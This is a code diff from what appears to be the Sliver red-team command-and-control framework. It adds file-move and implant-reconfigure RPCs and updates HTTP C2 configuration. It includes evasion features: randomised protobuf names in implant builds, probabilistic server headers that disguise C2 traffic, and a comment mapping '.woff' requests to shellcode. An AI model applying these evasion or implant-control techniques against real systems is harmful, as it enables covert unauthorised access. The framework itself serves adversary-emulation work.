GetBeacon(ctx context.Context, in *clientpb.Beacon, opts ...grpc.CallOption) (*clientpb.Beacon, error)
|
||||
@@ -93,6 +94,7 @@ type SliverRPCClient interface {
|
||||
Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error)
|
||||
Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error)
|
||||
Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error)
|
||||
Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error)
|
||||
Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error)
|
||||
Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
@@ -198,18 +200,27 @@ func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts .
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
|
||||
out := new(clientpb.Sessions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
|
||||
func (c *sliverRPCClient) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) {
|
||||
out := new(sliverpb.Reconfigure)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Reconfigure", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) UpdateSession(ctx context.Context, in *clientpb.UpdateSession, opts ...grpc.CallOption) (*clientpb.Session, error) {
|
||||
out := new(clientpb.Session)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UpdateSession", in, out, opts...)
|
||||
func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
|
||||
out := new(commonpb.Empty)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rename", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) {
|
||||
out := new(clientpb.Sessions)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSessions", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -693,6 +704,15 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) {
|
||||
out := new(sliverpb.Mv)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
|
||||
out := new(sliverpb.Rm)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
|
||||
@@ -1310,9 +1330,10 @@ type SliverRPCServer interface {
|
||||
GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error)
|
||||
// *** Generic ***
|
||||
Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error)
|
||||
Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error)
|
||||
Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error)
|
||||
// *** Sessions ***
|
||||
GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error)
|
||||
UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error)
|
||||
// *** Beacons ***
|
||||
GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error)
|
||||
GetBeacon(context.Context, *clientpb.Beacon) (*clientpb.Beacon, error)
|
||||
@@ -1376,6 +1397,7 @@ type SliverRPCServer interface {
|
||||
Ls(context.Context, *sliverpb.LsReq) (*sliverpb.Ls, error)
|
||||
Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error)
|
||||
Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error)
|
||||
Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error)
|
||||
Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error)
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
@@ -1460,12 +1482,15 @@ func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empt
|
||||
func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Reconfigure not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) UpdateSession(context.Context, *clientpb.UpdateSession) (*clientpb.Session, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method UpdateSession not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) GetBeacons(context.Context, *commonpb.Empty) (*clientpb.Beacons, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetBeacons not implemented")
|
||||
}
|
||||
@@ -1625,6 +1650,9 @@ func (UnimplementedSliverRPCServer) Cd(context.Context, *sliverpb.CdReq) (*slive
|
||||
func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented")
|
||||
}
|
||||
@@ -1872,6 +1900,42 @@ func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(inte
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Reconfigure_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ReconfigureReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Reconfigure(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Reconfigure",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Reconfigure(ctx, req.(*sliverpb.ReconfigureReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.RenameReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Rename(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Rename",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Rename(ctx, req.(*clientpb.RenameReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -1890,24 +1954,6 @@ func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec fu
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_UpdateSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.UpdateSession)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).UpdateSession(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/UpdateSession",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).UpdateSession(ctx, req.(*clientpb.UpdateSession))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_GetBeacons_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(commonpb.Empty)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -2862,6 +2908,24 @@ func _SliverRPC_Pwd_Handler(srv interface{}, ctx context.Context, dec func(inter
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.MvReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Mv(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Mv",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Mv(ctx, req.(*sliverpb.MvReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RmReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -3981,12 +4045,16 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
Handler: _SliverRPC_Kill_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetSessions",
|
||||
Handler: _SliverRPC_GetSessions_Handler,
|
||||
MethodName: "Reconfigure",
|
||||
Handler: _SliverRPC_Reconfigure_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "UpdateSession",
|
||||
Handler: _SliverRPC_UpdateSession_Handler,
|
||||
MethodName: "Rename",
|
||||
Handler: _SliverRPC_Rename_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetSessions",
|
||||
Handler: _SliverRPC_GetSessions_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "GetBeacons",
|
||||
@@ -4200,6 +4268,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Pwd",
|
||||
Handler: _SliverRPC_Pwd_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Mv",
|
||||
Handler: _SliverRPC_Mv_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Rm",
|
||||
Handler: _SliverRPC_Rm_Handler,
|
||||
|
||||
@@ -235,14 +235,11 @@ const (
|
||||
// MsgSocksData - Response of SocksData
|
||||
MsgSocksData
|
||||
|
||||
// MsgReconnectIntervalReq
|
||||
MsgReconnectIntervalReq
|
||||
// MsgReconfigureReq
|
||||
MsgReconfigureReq
|
||||
|
||||
// MsgReconnectInterval - Set reconnect interval
|
||||
MsgReconnectInterval
|
||||
|
||||
// MsgPollInterval - Set poll interval
|
||||
MsgPollInterval
|
||||
// MsgReconfigure - Set Reconfigure
|
||||
MsgReconfigure
|
||||
|
||||
// MsgUnsetEnvReq
|
||||
MsgUnsetEnvReq
|
||||
@@ -277,6 +274,11 @@ const (
|
||||
|
||||
// MsgRegistryDeleteKeyReq
|
||||
MsgRegistryDeleteKeyReq
|
||||
|
||||
// MsgMvReq - Request to move or rename a file
|
||||
MsgMvReq
|
||||
// MsgMv - Confirms the success/failure of the mv request (resp to MsgMvReq)
|
||||
MsgMv
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -449,14 +451,11 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *Portfwd:
|
||||
return MsgPortfwd
|
||||
|
||||
case *ReconnectIntervalReq:
|
||||
return MsgReconnectIntervalReq
|
||||
case *ReconfigureReq:
|
||||
return MsgReconfigureReq
|
||||
case *Reconfigure:
|
||||
return MsgReconfigure
|
||||
|
||||
case *ReconnectInterval:
|
||||
return MsgReconnectInterval
|
||||
|
||||
case *PollInterval:
|
||||
return MsgPollInterval
|
||||
case *SSHCommandReq:
|
||||
return MsgSSHCommandReq
|
||||
|
||||
@@ -484,6 +483,10 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *CloseSession:
|
||||
return MsgCloseSession
|
||||
|
||||
case *MvReq:
|
||||
return MsgMvReq
|
||||
case *Mv:
|
||||
return MsgMv
|
||||
}
|
||||
|
||||
return uint32(0)
|
||||
|
||||
+1738
-1552
File diff suppressed because it is too large.
Load diff
@@ -201,6 +201,20 @@ message Rm {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MvReq {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Mv {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MkdirReq {
|
||||
string Path = 1;
|
||||
|
||||
@@ -757,7 +771,7 @@ message PivotListener {
|
||||
|
||||
message PivotHello {
|
||||
bytes PublicKey = 1;
|
||||
int64 PeerID = 2;
|
||||
int64 PeerID = 2 [jstype = JS_STRING];
|
||||
string PublicKeySignature = 3;
|
||||
bytes SessionKey = 4;
|
||||
}
|
||||
@@ -768,7 +782,7 @@ message PivotServerKeyExchange {
|
||||
}
|
||||
|
||||
message PivotPeer {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
string Name = 2;
|
||||
}
|
||||
|
||||
@@ -785,7 +799,7 @@ message PivotPing {
|
||||
}
|
||||
|
||||
message NetConnPivot {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
string RemoteAddress = 2;
|
||||
}
|
||||
|
||||
@@ -795,7 +809,7 @@ enum PeerFailureType {
|
||||
}
|
||||
|
||||
message PivotPeerFailure {
|
||||
int64 PeerID = 1;
|
||||
int64 PeerID = 1 [jstype = JS_STRING];
|
||||
PeerFailureType Type = 2;
|
||||
string Err = 3;
|
||||
}
|
||||
@@ -872,14 +886,17 @@ message WGTCPForwarders {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
// ReconnectIntervalReq - Request the implant to update it's reconnect interval
|
||||
message ReconnectIntervalReq {
|
||||
// ReconfigureReq - Request the implant to reconfigure itself
|
||||
message ReconfigureReq {
|
||||
int64 ReconnectInterval = 1;
|
||||
int64 BeaconInterval = 2;
|
||||
int64 BeaconJitter = 3;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ReconnectInterval {
|
||||
message Reconfigure {
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
|
||||
+12
-5
@@ -275,14 +275,21 @@ func SetupGoPath(goPathSrc string) error {
|
||||
|
||||
func stripSliverpb(src []byte) []byte {
|
||||
out := src
|
||||
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
|
||||
re := regexp.MustCompile(`protobuf:"[a-z]+,\d+,[a-z]+,name=(?P<FieldName1>[a-zA-Z0-9]+),proto3(,enum=(?P<EnumName>[a-zA-Z\.]+))?" json:"(?P<FiledName2>[a-zA-Z0-9]+),[a-z]+"`)
|
||||
found := re.FindAllSubmatch(src, -1)
|
||||
for _, x := range found {
|
||||
line := x[0] // line that matched
|
||||
item := x[1] // first named capturing group (FieldName1)
|
||||
line := x[0] // line that matched
|
||||
typeName := x[1] // first named capturing group (FieldName1)
|
||||
enumName := x[3]
|
||||
if string(enumName) != "" {
|
||||
newEnumName := pseudoRandStringRunes(len(enumName))
|
||||
newEnumLine := bytes.ReplaceAll(line, enumName, []byte(newEnumName))
|
||||
out = bytes.ReplaceAll(out, line, []byte(newEnumLine))
|
||||
line = newEnumLine
|
||||
}
|
||||
// we don't care about FieldName2 because its value is the same as FieldName1
|
||||
newItem := pseudoRandStringRunes(len(item))
|
||||
newLine := bytes.ReplaceAll(line, item, []byte(newItem))
|
||||
newItem := pseudoRandStringRunes(len(typeName))
|
||||
newLine := bytes.ReplaceAll(line, typeName, []byte(newItem))
|
||||
out = bytes.ReplaceAll(out, line, []byte(newLine))
|
||||
}
|
||||
return out
|
||||
|
||||
+7
-1
@@ -404,7 +404,13 @@ func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler {
|
||||
if s.c2Config.ServerConfig.RandomVersionHeaders {
|
||||
resp.Header().Set("Server", s.getServerHeader())
|
||||
}
|
||||
for _, header := range s.c2Config.ServerConfig.ExtraHeaders {
|
||||
for _, header := range s.c2Config.ServerConfig.Headers {
|
||||
if 0 < header.Probability && header.Probability < 100 {
|
||||
roll := insecureRand.Intn(99) + 1
|
||||
if header.Probability < roll {
|
||||
continue
|
||||
}
|
||||
}
|
||||
resp.Header().Set(header.Name, header.Value)
|
||||
}
|
||||
next.ServeHTTP(resp, req)
|
||||
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/netip"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
@@ -50,8 +51,8 @@ func StartWGListener(port uint16, netstackPort uint16, keyExchangeListenPort uin
|
||||
wgLog.Infof("Starting Wireguard listener on port: %d", port)
|
||||
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]net.IP{net.ParseIP(tunIP)},
|
||||
[]net.IP{net.ParseIP("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
[]netip.Addr{netip.MustParseAddr(tunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG listener. Yet.
|
||||
1420,
|
||||
)
|
||||
if err != nil {
|
||||
|
||||
@@ -44,7 +44,7 @@ const (
|
||||
|
||||
var (
|
||||
// ErrInvalidDialect - An invalid dialect was specified
|
||||
ErrInvalidDialect = errors.New("Invalid SQL Dialect")
|
||||
ErrInvalidDialect = errors.New("invalid SQL Dialect")
|
||||
|
||||
databaseConfigLog = log.NamedLogger("config", "database")
|
||||
)
|
||||
|
||||
+57
-18
@@ -35,7 +35,7 @@ import (
|
||||
|
||||
const (
|
||||
httpC2ConfigFileName = "http-c2.json"
|
||||
chromeBaseVer = 89
|
||||
chromeBaseVer = 92
|
||||
)
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
@@ -103,16 +103,17 @@ func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
|
||||
return config
|
||||
}
|
||||
|
||||
type HTTPHeader struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
ExtraHeaders []HTTPHeader `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
@@ -125,9 +126,10 @@ type HTTPC2ServerConfig struct {
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
URLParameters []string `json:"url_parameters"`
|
||||
Headers []string `json:"headers"`
|
||||
UserAgent string `json:"user_agent"`
|
||||
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
@@ -215,8 +217,8 @@ var (
|
||||
Cookies: []string{
|
||||
"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS",
|
||||
},
|
||||
ExtraHeaders: []HTTPHeader{
|
||||
{"Cache-Control", "no-store, no-cache, must-revalidate"},
|
||||
Headers: []NameValueProbability{
|
||||
{Name: "Cache-Control", Value: "no-store, no-cache, must-revalidate", Probability: 100},
|
||||
},
|
||||
},
|
||||
ImplantConfig: &HTTPC2ImplantConfig{
|
||||
@@ -288,7 +290,7 @@ func GetHTTPC2Config() *HTTPC2Config {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
err = checkHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
@@ -296,6 +298,35 @@ func GetHTTPC2Config() *HTTPC2Config {
|
||||
return config
|
||||
}
|
||||
|
||||
// CheckHTTPC2ConfigErrors - Get the current HTTP C2 config
|
||||
func CheckHTTPC2ConfigErrors() error {
|
||||
configPath := GetHTTPC2ConfigPath()
|
||||
if _, err := os.Stat(configPath); os.IsNotExist(err) {
|
||||
err = generateDefaultConfig(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
|
||||
return err
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return err
|
||||
}
|
||||
config := &HTTPC2Config{}
|
||||
err = json.Unmarshal(data, config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
|
||||
return err
|
||||
}
|
||||
err = checkHTTPC2Config(config)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Invalid http c2 config: %s", err)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func generateDefaultConfig(saveTo string) error {
|
||||
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
|
||||
if err != nil {
|
||||
@@ -317,12 +348,13 @@ var (
|
||||
ErrMissingSessionFileExt = errors.New("implant config must specify a session_file_ext")
|
||||
ErrTooFewSessionFiles = errors.New("implant config must specify at least one session_files value")
|
||||
ErrNonuniqueFileExt = errors.New("implant config must specify unique file extensions")
|
||||
ErrQueryParamNameLen = errors.New("implant config url query parameter names must be 3 or more characters")
|
||||
|
||||
fileNameExp = regexp.MustCompile("[^a-zA-Z0-9\\._-]+")
|
||||
fileNameExp = regexp.MustCompile(`[^a-zA-Z0-9\\._-]+`)
|
||||
)
|
||||
|
||||
// CheckHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func CheckHTTPC2Config(config *HTTPC2Config) error {
|
||||
// checkHTTPC2Config - Validate the HTTP C2 config, coerces common mistakes
|
||||
func checkHTTPC2Config(config *HTTPC2Config) error {
|
||||
err := checkServerConfig(config.ServerConfig)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -448,5 +480,12 @@ func checkImplantConfig(config *HTTPC2ImplantConfig) error {
|
||||
allExtensions[ext] = true
|
||||
}
|
||||
|
||||
// Query Parameter Names
|
||||
for _, queryParam := range config.URLParameters {
|
||||
if len(queryParam.Name) < 3 {
|
||||
return ErrQueryParamNameLen
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -51,7 +51,7 @@ func TestDefaultConfig(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
err = CheckHTTPC2Config(config)
|
||||
err = checkHTTPC2Config(config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
@@ -64,7 +64,7 @@ func TestPollConfig(t *testing.T) {
|
||||
origPollFileExt := config.ImplantConfig.PollFileExt
|
||||
for _, ext := range []string{"", ".", "..."} {
|
||||
config.ImplantConfig.PollFileExt = ext
|
||||
err := CheckHTTPC2Config(&config)
|
||||
err := checkHTTPC2Config(&config)
|
||||
if err != ErrMissingPollFileExt {
|
||||
t.Fatalf("Parsed '%s' as not missing (%s)", ext, config.ImplantConfig.PollFileExt)
|
||||
}
|
||||
@@ -82,7 +82,7 @@ func TestPollConfig(t *testing.T) {
|
||||
origPollFiles := config.ImplantConfig.PollFiles
|
||||
for _, empty := range emptyPollFiles {
|
||||
config.ImplantConfig.PollFiles = empty
|
||||
err := CheckHTTPC2Config(&config)
|
||||
err := checkHTTPC2Config(&config)
|
||||
if err != ErrTooFewPollFiles {
|
||||
t.Fatalf("Expected too few poll files from %v got %v", empty, err)
|
||||
}
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
clienttransport "github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
@@ -49,11 +50,14 @@ func Start() {
|
||||
}
|
||||
conn, err := grpc.DialContext(context.Background(), "bufnet", options...)
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"Failed to dial bufnet: %s", err)
|
||||
fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err)
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
localRPC := rpcpb.NewSliverRPCClient(conn)
|
||||
if err := configs.CheckHTTPC2ConfigErrors(); err != nil {
|
||||
fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err)
|
||||
}
|
||||
clientconsole.Start(localRPC, command.BindCommands, serverOnlyCmds, true)
|
||||
}
|
||||
|
||||
|
||||
@@ -197,6 +197,10 @@ func insertImmediateChildren(entry *PivotGraphEntry, depth int) {
|
||||
return true
|
||||
}
|
||||
session := Sessions.FromImplantConnection(pivot.ImplantConn)
|
||||
if session == nil {
|
||||
coreLog.Warnf("[graph] session not found for pivot: %v", pivot)
|
||||
return true
|
||||
}
|
||||
coreLog.Debugf("[graph] entry: %v, pivot: %v", entry.Name, pivot)
|
||||
if pivot.Peers[1].PeerID == entry.PeerID {
|
||||
child := &PivotGraphEntry{
|
||||
|
||||
+16
-1
@@ -80,6 +80,7 @@ func (s *Session) LastCheckin() time.Time {
|
||||
|
||||
// IsDead - See if last check-in is within expected variance
|
||||
func (s *Session) IsDead() bool {
|
||||
sessionsLog.Debugf("Checking health of %s", s.ID)
|
||||
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
|
||||
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
|
||||
timePassed := time.Since(s.LastCheckin())
|
||||
@@ -95,6 +96,12 @@ func (s *Session) IsDead() bool {
|
||||
return false
|
||||
}
|
||||
}
|
||||
if s.Connection.Transport == "pivot" {
|
||||
if time.Since(s.Connection.LastMessage) < time.Duration(time.Minute)+padding {
|
||||
sessionsLog.Debugf("Last message within pivot/server ping interval with padding")
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -138,10 +145,17 @@ func (s *Session) Request(msgType uint32, timeout time.Duration, data []byte) ([
